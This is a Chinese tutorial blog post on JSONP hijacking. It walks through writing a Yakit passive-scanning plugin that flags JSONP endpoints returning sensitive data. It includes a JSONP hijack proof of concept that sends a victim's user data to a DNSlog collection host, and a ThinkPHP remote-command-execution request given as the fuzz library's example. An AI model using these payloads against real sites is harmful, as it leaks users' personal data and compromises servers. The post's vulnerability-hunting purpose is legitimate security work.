基于Yak的被动扫描jsonp识别

作者:@shangzeng师傅

什么是JSONP劫持漏洞

同源策略(同协议、同域名、同端口)导致的不同域名的网站无法传输数据,但是在某些时刻我们有需要进行跨域传输数据。

这时候jsonp身为跨域的方法中的一个就孕育而生了,由于html标签中的<script> 、<img>、<iframe> 这三个标签是允许进行资源的跨域获取的,jsonp就是利用了这三个标签中的其中一个 <script> 利用js代码动态生成script标签然后利用标签中的src属性来进行资源的跨域调用。

在数据传输未设置有效的校验的情况下,就有可能导致JSONP劫持漏洞,造成信息泄漏。

在配置存在问题的情况下,jsonp使用回调函数来在第三方网站调出我们的敏感信息,从而达到获取敏感信息的目的,常见的利用场景如下:

  • 获取个人信息,蓝队反制,蜜罐溯源等等
  • 用于跨域传输数据,通过jsonp发起请求,得到泄露的csrf_token然后,利用这个token 实现CSRF 攻击

JSONP 漏洞挖掘原理

常规方式

  • 使用火狐/谷歌浏览器打开开发者模式,选择Network,勾选Preserve log选项,防止干扰

在左下搜栏目寻找或者在可能存在jsonp的地方添加检索相应的关键字,访问目标相关网站即可:

 jsonp  
jsoncb  
jsonpcb  
cb  
json  
jsonpcall  
jsoncall  
jQuery  
callback  
back  

在JSONP挖掘中,并不是只有callback才会出现JSONP漏洞,我们可以自己构造调用,毕竟<script>标签不支持同源策略,只要没有referer等限制,就有可能存在漏洞,其中POC如下:(这里使用DNSlog来获取回调的信息):

<script type="text/javascript">function jsonp_1610359498402_9620(json){  
alert(JSON.stringify(json))  
new Image().src="http://xxxx6.ceye.io/" + JSON.stringify(json)  
}</script>  
<script src="https://pcw-api.xxxxx.com/passport/user/userinfodetail?area=tw&callback=jsonp_1610359498402_9620"></script>  

效果如下:

使用Yak被动扫描jsonp漏洞

通过上面我们可以知道,jsonp的搜索与发现是个比较容易流程化的操作,而且相对于主动扫描,被动发现也更加适合,因此我们这里可以写一个被动扫描插件,来代替手工操作

其中Yak的开发文档如下:

https://www.yaklang.io/docs

打开Yakit,选择【插件仓库】,选择【+新插件】,这里的插件有三种模式:

  • 以 Webhook 为通信媒介的原生 Yak 模块,通过核心引擎启动新的 yak 执行进程来控制执行过程;
  • 以 MITM 劫持过程为基础 Hook 点的 Yak 模块,
  • 以 Yaml 为媒介封装 Nuclei PoC 的模块,本质上也是执行一段 Yak 代码,原理与(1)相同

我们使用MITM模块

这里我们需要了解的几个函数已经存在注释了,讲得很清楚。 jsonp 主要出现在请求参数里面,因此使用mirrorNewWebsitePathParams 模块,其他的不用注释掉就好

# mitm plugin template  
yakit_output(MITM_PARAMS)  
__test__ = func() {  
    results, err := yakit.GenerateYakitMITMHooksParams("GET", "Example Domain")  
    if err != nil {  
        return  
    }  
    isHttps, url, reqRaw, rspRaw, body = results  
    mirrorNewWebsitePathParams(results...)  
}  
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用  
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {  
}  

在被动接收流量后,我们首先应当筛选出包含jsonp的请求,这里使用关键字匹配的方式进行搜索:

 # 请求存在关键词检测为jsonp数据  
availableJSONPParamNames = [  
    "jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",  
]  

字符串的比对中,使用 str 工具库进行,这里注意大小写问题

str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName))   

在Yak中,提供了 fuzz 工具库来进行请求的发送与接收,例如官方提供的POC如下:

 # fuzz.HTTPRequest 可以直接 接收 req 数据 进行发送,并允许一定的错误  
fReq, err := fuzz.HTTPRequest(`  
POST /index.php?s=captcha HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 72  
  
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id  
`)  
# Yak 的报错处理类似于golang   
if err != nil {  
    die(err)  
}  
# 发送请求,接收返回数据  
reqs, err := fReq.Exec()  
if err != nil {  
    die(err)  
}  
  
for rsp = range reqs {  
    if rsp.Error != nil {  
        log.error(rsp.Error)  
        continue  
    }  
    if re.Match(`((uid\=\d*)|(gid\=\d*)|(groups=\d*))`, rsp.ResponseRaw) {  
        println("found thinkphp vuls...")  
        break  
    }  
}  

在获取jsonp的URL后,我们还要判断返回的数据中是否存在敏感信息,这里使用正则表达式**re**进行匹配

 re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw)

最后的逻辑思维如下:

  1. 首先从流量中筛选出可能存在jsonp的流量
  2. 发送请求包,看返回值是否存在敏感信息
  3. 去掉referer,cookie等信息,看是否还会返回敏感信息

不得不说Yak的插件做到了简单快速,在不到半天的情况下,就从 0基础 到可以写出一个脚本来,最后代码如下:

# mitm plugin template  
  
yakit_output(MITM_PARAMS)  
  
#--------------------------WORKSPACE-----------------------------  
__test__ = func() {  
  
    results, err := yakit.GenerateYakitMITMHooksParams("GET", "http://127.0.0.1:8084/?jsonp=jQuery2398423949823")  
    if err != nil {  
        return  
    }  
    isHttps, url, reqRaw, rspRaw, body = results  
    mirrorNewWebsitePathParams(results...)  
}  
# 请求存在关键词检测为jsonp数据  
availableJSONPParamNames = [  
    "jsonp","jsoncb","jsonpcb","cb","json","jsonpcall","jsoncall","jQuery","callback","back",  
]  
# mirrorNewWebsitePathParams 每新出现一个网站路径且带有一些参数,参数通过常见位置和参数名去重,去重的第一个 HTTPFlow 在这里被调用  
mirrorNewWebsitePathParams = func(isHttps /*bool*/, url /*string*/, req /*[]byte*/, rsp /*[]byte*/, body /*[]byte*/) {  
    # 用于匹配筛选字符目前我是这么理解的  
    freq, err := fuzz.HTTPRequest(req, fuzz.https(isHttps))  
    die(err)  
  
    for _, param := range freq.GetCommonParams() {  
        //yakit_output(sprintf("start to test url[%v]'s param: %v[%v]", url, param.Name(), param.Position()))     
        paramparamName = param.Name()  # 获取各种参数名  
        #yakit_output(paramName)   
        # str.ToLower 字符串变小写  
        if str.StringSliceContains(availableJSONPParamNames, str.ToLower(paramName)) {  
            #yakit_save(url)   
            # 请求查看返回包是否存在敏感字段  
            fReq, err1 := fuzz.HTTPRequest(req,fuzz.https(isHttps))  
            die(err1)  
            reqs, err2 := fReq.Exec()  
            die(err2)  
            for rsp = range reqs {  
                if re.Match(`(nick)|(pass)|(name)|(data)`,rsp.ResponseRaw) {  
                    yakit_output(url)  
                    yakit_save(url)  
                }  
            }  
        }  
    }  
}  

后期挂着就行了,时不时翻一翻看看有没有什么收获

成功水到漏洞

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值